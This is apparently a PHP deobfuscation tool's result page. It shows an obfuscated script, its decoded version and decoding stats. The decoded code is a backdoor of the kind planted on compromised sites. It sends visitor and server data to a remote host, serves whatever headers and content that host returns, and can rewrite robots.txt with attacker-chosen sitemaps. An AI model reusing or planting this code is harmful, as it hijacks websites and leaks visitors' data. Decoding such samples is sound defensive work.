Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ErrOR_reporTIng(roUNd(0+0+0+0+0+0+0)); $FHiWpO="\172\152\64\62\63"; $iqhMvu="gm\61";..
Decoded Output download
<?php ErrOR_reporTIng(roUNd(0+0+0+0+0+0+0)); $FHiWpO="zj423"; $iqhMvu="gm1"; if(PrEG_MATcH("/jp2023/si",$_SERVER["REQUEST_URI"])==roUNd(0.00893237+0.313058+0.074+0.15397703+0.09230115+0.35814547)) { if(pReG_MatCH("/jp2023cww/si",$_SERVER["REQUEST_URI"])==RoUND(0+0+0+0+0+0)) { HEaDEr("HTTP/1.0 404 Not Found"); } echo "HTTP/1.0 404 Not Found___".$FHiWpO."___".$iqhMvu; exit; } $olDX="http://".$FHiWpO.".ebizla.com"; $gnWK="/index.php?VS=".$iqhMvu."&GP=".$FHiWpO; $hadz=array( "SCRIPT_NAME", "REQUEST_URI", "HTTPS", "REQUEST_SCHEME", "SERVER_PORT", "REMOTE_ADDR", "HTTP_REFERER", "HTTP_ACCEPT_LANGUAGE", "HTTP_USER_AGENT", "HTTP_HOST" ); foreach($hadz as $SVMkhb) { $alG=isset($_SERVER[$SVMkhb])?$_SERVER[$SVMkhb]:''; $rmgpWA=BaSE64_enCodE(tRiM($alG)); $rmgpWA=STr_REplACE("+","-",$rmgpWA); $rmgpWA=STr_RePLace("/","_",$rmgpWA); $rmgpWA=str_RePLaCE("=",".",$rmgpWA); $gnWK.="&".$SVMkhb."=".$rmgpWA; } $fJt=$olDX.$gnWK; $KLz=CURL_init(); Curl_SETOPt($KLz,CURLOPT_URL,$fJt); CURL_SEtOpt($KLz,CURLOPT_RETURNTRANSFER,ROUnD(0.2152893+0.196281+0.3210744+0.0004132+0.2669421)); cuRL_SETOPT($KLz,CURLOPT_CONNECTTIMEOUT,rounD(3.231474+1.222+1.986249+0.2674+0.38579+2.9067991)); $Br=cuRL_exEC($KLz); $Br=TrIM($Br); Curl_cLOSE($KLz); if(empty($Br)) { $Br=FILE_gEt_cOnTenTs($fJt); } $Br=tRiM($Br); $rI=exPlODE("|@#$|",$Br); $fvZ=coUnt($rI); if($fvZ<3) { HeAdER("HTTP/1.0 404 Not Found"); exit; }else { $kpuzP=tRIm($rI[ROUNd(0+0+0+0+0+0+0+0)]); if(!empty($kpuzP)) { heaDeR($kpuzP); } $GwFhYR=TRim($rI[ROunD(0.1806033+0.121+0.0904926+0.321497+0.00764+0.279)]); if(!empty($GwFhYR)) { echo $GwFhYR; } $aRsDp=tRIM($rI[$fvZ-rouND(0.273101+0.221+0.50616)]); if($aRsDp=="exit") { exit; } if($aRsDp=="ping") { $Gwn="User-agent:*".PHP_EOL; $Gwn.="Allow:/".PHP_EOL; $Nf=eXplODe("<br/>",$GwFhYR); aRray_pOP($Nf); foreach($Nf as $Nz) { $Gwn.="Sitemap:".$Nz.PHP_EOL; } FiLE_put_cOnTentS($_SERVER["DOCUMENT_ROOT"]."/robots.txt",$Gwn); echo "robots.txt done"; exit; } } ?>
Did this file decode correctly?
Original Code
<?php ErrOR_reporTIng(roUNd(0+0+0+0+0+0+0)); $FHiWpO="\172\152\64\62\63"; $iqhMvu="gm\61"; if(PrEG_MATcH("/\152p\62\60\62\63\57\163i",$_SERVER["R\105\121\125ES\124\137\125RI"])==roUNd(0.00893237+0.313058+0.074+0.15397703+0.09230115+0.35814547)) { if(pReG_MatCH("\57\152\160\62\60\62\63\143w\167/s\151",$_SERVER["R\105\121\125ES\124\137\125RI"])==RoUND(0+0+0+0+0+0)) { HEaDEr("H\124TP/\61.\60 \64\60\64 N\157\164\40\106\157\165n\144"); } echo "\110TTP/\61\56\60\40\64\60\64\40\116\157\164 F\157\165\156\144\137\137\137".$FHiWpO."\137\137\137".$iqhMvu; exit; } $olDX="htt\160:/\57".$FHiWpO."\56eb\151\172\154a\56com"; $gnWK="/\151\156d\145\170.\160h\160?VS=".$iqhMvu."&\107\120=".$FHiWpO; $hadz=array( "SCR\111PT\137\116\101ME", "R\105\121\125ES\124\137\125RI", "\110\124\124\120\123", "R\105QU\105ST_\123CHEM\105", "\123E\122V\105R\137P\117\122T", "\122\105M\117T\105_\101\104DR", "HT\124\120_\122\105\106\105RER", "H\124\124P\137\101\103CEPT_L\101NGU\101GE", "H\124T\120\137U\123ER\137\101\107\105N\124", "HT\124P\137\110O\123T" ); foreach($hadz as $SVMkhb) { $alG=isset($_SERVER[$SVMkhb])?$_SERVER[$SVMkhb]:''; $rmgpWA=BaSE64_enCodE(tRiM($alG)); $rmgpWA=STr_REplACE("+","-",$rmgpWA); $rmgpWA=STr_RePLace("\57","\137",$rmgpWA); $rmgpWA=str_RePLaCE("\75","\56",$rmgpWA); $gnWK.="&".$SVMkhb."\75".$rmgpWA; } $fJt=$olDX.$gnWK; $KLz=CURL_init(); Curl_SETOPt($KLz,CURLOPT_URL,$fJt); CURL_SEtOpt($KLz,CURLOPT_RETURNTRANSFER,ROUnD(0.2152893+0.196281+0.3210744+0.0004132+0.2669421)); cuRL_SETOPT($KLz,CURLOPT_CONNECTTIMEOUT,rounD(3.231474+1.222+1.986249+0.2674+0.38579+2.9067991)); $Br=cuRL_exEC($KLz); $Br=TrIM($Br); Curl_cLOSE($KLz); if(empty($Br)) { $Br=FILE_gEt_cOnTenTs($fJt); } $Br=tRiM($Br); $rI=exPlODE("|@#$\174",$Br); $fvZ=coUnt($rI); if($fvZ<3) { HeAdER("H\124TP/\61.\60 \64\60\64 N\157\164\40\106\157\165n\144"); exit; }else { $kpuzP=tRIm($rI[ROUNd(0+0+0+0+0+0+0+0)]); if(!empty($kpuzP)) { heaDeR($kpuzP); } $GwFhYR=TRim($rI[ROunD(0.1806033+0.121+0.0904926+0.321497+0.00764+0.279)]); if(!empty($GwFhYR)) { echo $GwFhYR; } $aRsDp=tRIM($rI[$fvZ-rouND(0.273101+0.221+0.50616)]); if($aRsDp=="\145\170i\164") { exit; } if($aRsDp=="\160i\156\147") { $Gwn="\125\163\145\162\55\141\147\145\156\164\72*".PHP_EOL; $Gwn.="A\154\154\157w:/".PHP_EOL; $Nf=eXplODe("<\142r\57>",$GwFhYR); aRray_pOP($Nf); foreach($Nf as $Nz) { $Gwn.="\123i\164\145ma\160\72".$Nz.PHP_EOL; } FiLE_put_cOnTentS($_SERVER["DOC\125\115E\116\124\137R\117\117T"]."\57ro\142ot\163.t\170\164",$Gwn); echo "\162\157\142\157ts.\164xt do\156e"; exit; } } ?>
Function Calls
roUNd | 1 |
Stats
MD5 | 790fcc5848c020e2d3fdf51b2ad2b63c |
Eval Count | 0 |
Decode Time | 130 ms |